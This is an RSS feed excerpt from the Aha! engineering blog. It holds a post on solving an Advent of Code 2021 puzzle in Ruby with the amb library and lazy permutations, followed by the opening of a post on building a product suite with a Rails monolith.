&lt;p&gt;Our team at Aha! strives to make development a joy by creating tools that enhance and simplify day-to-day work. I have worked at many companies where this was not a priority and the difference in developer happiness is clear. Consider taking some time to identify pain points within your own organization&apos;s technical processes. You may find that building a script to automate frequently performed manual tasks makes everyone&apos;s job easier.&lt;/p&gt;
&lt;p&gt;If you&apos;re like me and love building innovative technical solutions that help empower others, you should &lt;a href=&quot;https://www.aha.io/company/careers/current-openings?category=engineering&quot;&gt;come work with us&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Start a free trial today&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;suite of product development tools&lt;/a&gt; work seamlessly together to help teams turn raw concepts into valuable new capabilities — for customers and the business. Set strategy, spark creativity, crowdsource ideas, prioritize features, share roadmaps, manage releases, and plan development. Sign up for a &lt;a href=&quot;https://www.aha.io/trial&quot;&gt;free 30-day trial&lt;/a&gt; or &lt;a href=&quot;https://www.aha.io/live-demo&quot;&gt;join a live demo&lt;/a&gt; to see why more than 5,000 companies trust our software to build lovable products and be happy doing it.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Advent of Code, and the Amb Operator]]></title><description><![CDATA[There is nothing quite like friendly competition to refuel your passions. Our team at Aha! recently sponsored 2021's Advent of Code, an…]]></description><link>https://www.aha.io/engineering/articles/advent-of-code-and-the-amb-operator</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/advent-of-code-and-the-amb-operator</guid><dc:creator><![CDATA[Alex Bartlow]]></dc:creator><pubDate>Thu, 07 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/05a12be75e91b2621992aa6a0f7f1d7a/advent-of-code-aha.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;There is nothing quite like friendly competition to refuel your passions. Our team at Aha! recently sponsored 2021&apos;s Advent of Code, an annual event posing a series of programming puzzles that can be solved in any programming language you choose. We had a lot of fun going through the challenges together and comparing notes about how we solved the different problems. Our own Justin Paulson made it a few days using only Google Sheets to solve the problems!
I ended up using a little-known library called &lt;a href=&quot;https://github.com/chikamichi/amb&quot;&gt;&lt;code&gt;amb&lt;/code&gt;&lt;/a&gt; for day 8&apos;s &lt;a href=&quot;https://adventofcode.com/2021/day/8&quot;&gt;Seven Segment Search&lt;/a&gt;. The core of my solution was this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Ambiguous&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.solve &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |amb|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    s2 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; inputs.detect {|i| i.length &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    s3 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; inputs.detect {|i| i.length &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    s4 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; inputs.detect {|i| i.length &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    a &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (s3 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; s2).first&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    b &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; amb.choose(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(s4 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; s2))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    c &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; amb.choose(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;s2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    d &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; amb.choose(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*%&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;w[a b c d e f g])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    e &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; amb.choose(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*%&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;w[a b c d e f g])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    f &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; amb.choose(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;s2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    g &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; amb.choose(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*%&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;w[a b c d e f g])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert [a, b, c, d, e, f, g].uniq.size &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # assert inputs include all possible values&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert inputs.include?([a, b, c, e, f, g].sort) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert inputs.include?([c, f].sort) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert inputs.include?([a, c, d, e, g].sort) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert inputs.include?([a, c, d, f, g].sort) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert inputs.include?([b, c, d, f].sort) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert inputs.include?([a, b, d, f, g].sort) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert inputs.include?([a, b, d, e, f, g].sort) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert inputs.include?([a, c, f].sort) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert inputs.include?([a, b, c, d, e, f, g].sort) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    amb.assert inputs.include?([a, b, c, d, f, g].sort) &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 9&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # wire to display segment:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # &quot;wire(key) b lights up segment(value) c&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    wire_key &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      a =&gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;a&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      b =&gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;b&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      c =&gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;c&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      d =&gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;d&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      e =&gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;e&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      f =&gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;f&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      g =&gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;g&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/chikamichi/amb&quot;&gt;Amb&lt;/a&gt; is a neat library which provides &lt;em&gt;ambiguous matching&lt;/em&gt;. It comes with two methods: &lt;code&gt;choose&lt;/code&gt; and &lt;code&gt;assert&lt;/code&gt;. &lt;code&gt;choose&lt;/code&gt; gives you a value (not a proxy, but one of the real objects you pass into the &lt;code&gt;choose&lt;/code&gt; operator) that you can use in &lt;code&gt;assert&lt;/code&gt; clauses later on. &lt;code&gt;assert&lt;/code&gt; works as you think it would. Except instead of throwing an error like &lt;code&gt;assert&lt;/code&gt; would do in a test, it &lt;em&gt;backtracks program execution to one of the choices, and picks a different choice.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This makes the Amb library incredibly useful for constraint-solving problems where it is easier to declare what a correct solution would look like, instead of writing out every step necessary to get there.&lt;/p&gt;
&lt;p&gt;Unfortunately, this solution has a few drawbacks:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;In code like this, it is not obvious that the lines between &lt;code&gt;choose&lt;/code&gt; and the last &lt;code&gt;assert&lt;/code&gt; might be executed many different times. If you tried using this in a production Rails application, you could imagine it being easy to insert many records into a database or have some other side effect a number of different times.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Continuation&quot;&gt;Continuations&lt;/a&gt; are deprecated in Ruby. They are only present in YARV and not in other Ruby interpreters.&lt;/li&gt;
&lt;li&gt;Continuations use the language&apos;s stack and implementation details in order to manage the state of your program data. Depending on your programming philosophy, this could present big problems.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;How could we implement something like the above in idiomatic Ruby and not something using a less popular library I heard about 16 years ago?&lt;/p&gt;
&lt;h2&gt;An idiomatic solution&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Array#permutation&lt;/code&gt; can be used as the starting point of our computation — giving us all possible arrangements of wires to segments. Then we turn this enumerator into a lazy enumerator, which allows us to stop whenever we reach the first solution that matches our criteria. This reduces our processing time by 50% in my testing. At this point, we just keep adding &lt;code&gt;select&lt;/code&gt; statements until we are sure that the inputs map to the possible outputs:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  key &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; %&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;w[a b c d e f g].permutation.lazy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { |(a,b,c,d,e,f,g)| inputs.include?([a,b,c,e,f,g].sort ) } &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { |(a,b,c,d,e,f,g)| inputs.include?([c,f].sort ) } &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { |(a,b,c,d,e,f,g)| inputs.include?([a,c,d,e,g].sort ) } &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { |(a,b,c,d,e,f,g)| inputs.include?([a,c,d,f,g].sort ) } &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { |(a,b,c,d,e,f,g)| inputs.include?([b,c,d,f].sort ) } &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { |(a,b,c,d,e,f,g)| inputs.include?([a,b,d,f,g].sort ) } &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { |(a,b,c,d,e,f,g)| inputs.include?([a,b,d,e,f,g].sort ) } &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { |(a,b,c,d,e,f,g)| inputs.include?([a,c,f].sort ) } &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { |(a,b,c,d,e,f,g)| inputs.include?([a,b,c,d,e,f,g].sort ) } &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { |(a,b,c,d,e,f,g)| inputs.include?([a,b,c,d,f,g].sort ) } &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# 9&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .first&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    wire_key &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Hash&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[key.zip(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;w[a b c d e f g])]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, this is functionally equivalent to:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  key &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; %&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;w[a b c d e f g].permutation.detect &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |(a,b,c,d,e,f,g)|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    inputs.include?([a,b,c,e,f,g].sort ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    inputs.include?([c,f].sort ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    inputs.include?([a,c,d,e,g].sort ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    inputs.include?([a,c,d,f,g].sort ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    inputs.include?([b,c,d,f].sort ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    inputs.include?([a,b,d,f,g].sort ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    inputs.include?([a,b,d,e,f,g].sort ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    inputs.include?([a,c,f].sort ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    inputs.include?([a,b,c,d,e,f,g].sort ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    inputs.include?([a,b,c,d,f,g].sort ) &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Happy programming&lt;/h2&gt;
&lt;p&gt;Lazy enumerables would be a great tool to keep in mind if the computation was more expensive or if the initial set of possibilities was larger. You could also do something really silly, like &lt;a href=&quot;https://github.com/alexbartlow/thread_queue_ext/blob/master/thread_queue.rb&quot;&gt;turn thread queues into concurrent, asynchronous processing pipelines&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In any case, the &lt;code&gt;Amb&lt;/code&gt; library is certainly useful and shows off something I love about Ruby — the way it can morph and twist to suit the developer. I am grateful to &lt;a href=&quot;https://www.weirichinstitute.com/about&quot;&gt;Jim Weirich&lt;/a&gt;, a developer and influential Ruby community contributor. He introduced me to the Amb library, among many others, and helped first ignite my passion for becoming a Ruby programmer. Ruby places a high value on making programmers happy, allowing for expressiveness and ease of use. Most of our features we work on at Aha! involve writing significant Ruby on Rails code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Our team is happy, productive, and hiring&lt;/strong&gt; — &lt;a href=&quot;https://www.aha.io/company/careers&quot;&gt;join us!&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[From One, Many — Building a Product Suite With a Monolith]]></title><description><![CDATA[Aha! has now reached $100 million in annual recurring revenue with three separate software products in our available suite. We did this all…]]></description><link>https://www.aha.io/engineering/articles/from-one-many-building-a-product-suite-with-a-monolith</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/from-one-many-building-a-product-suite-with-a-monolith</guid><dc:creator><![CDATA[Justin Paulson]]></dc:creator><pubDate>Thu, 31 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/ebd4311967c970ffc0ad945f928d9cc9/from-one-many.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Aha! has now reached $100 million in annual recurring revenue with three separate software products in our available suite. We did this all without taking money and without breaking our monolith into microservices.&lt;/p&gt;
&lt;h2&gt;Monolith vs microservice&lt;/h2&gt;
&lt;p&gt;Modern web applications have used many different architecture patterns. Two of the most common are a single monolithic code base and a system of isolated microservices. A monolithic code base contains all of the code to run the entire feature set of an application in a single codebase. Monoliths typically connect to a single database to store all of the necessary data for an application. In a microservice architecure, the entire product functionality is split into many different services that all have their own code bases and backing databases. Each microservice is designed to handle small tasks and limit the functionality that is contained in a single code base.&lt;/p&gt;
&lt;h2&gt;We like to move fast&lt;/h2&gt;
&lt;p&gt;By utilizing a monolithic architecture, Aha! has moved from a single product with Aha! Roadmaps, to a suite of tools. Our engineering team was able to add Aha! Ideas and Aha! Develop as standalone products in less than 18 months. With all of the code existing in one Rails repository, it was easy to share the infrastructure, data, business logic, views, and user experience elements.&lt;/p&gt;
&lt;p&gt;We maintain a single repository to run the entire Aha! suite of products on a local environment. This means that our engineers can have access to the full code base and all functionality — running locally on their first day. Once they have downloaded the repository, all development can be done without any internet access. There is no cluster of development services to connect to and no intricate system of virtual machines from separate repositories to manage. The engineer only needs the code delivered in the monolithic repository and the engineer&apos;s own system.&lt;/p&gt;
&lt;p&gt;There are portions of our code that do live outside of the main Rails repository. We have some frontend tools and an integration engine that live in separate repositories from the main Rails application. However, all of these separate repositories are pulled into the main application as dependencies. These other repositories are necessary for building new features in those areas but they are not necessary to load up the entire application functionality locally. These separate repositories are also not deployable assets or services on their own. They are encapsulations of areas of code that we may want to open source or utilize in other contexts outside of our main production application. In fact, efforts have been underway to limit these ancillary repositories and our engineers continually lament having to work outside of the main repository to complete tasks.&lt;/p&gt;
&lt;h2&gt;We ❤️ Rails&lt;/h2&gt;
&lt;p&gt;Ruby on Rails has been monumental for the growth of Aha! and many other applications across the internet. Rails has been a consistent option for web development because of how easy it is to quickly generate a project. A very strong community has also grown around Rails due to its open-source nature. Both the conventions that are provided by Rails and the community surrounding it have been a major catalyst in our velocity at Aha!&lt;/p&gt;
&lt;p&gt;Rails conventions provide a standardization that lowers the learning curve for new engineers joining the team. We don’t have to spend a lot of time explaining the architecture decisions for a large majority of the application because they follow conventions. It is easy for an experienced Rails engineer to navigate the application and quickly find the areas they need to focus on for a particular change.&lt;/p&gt;
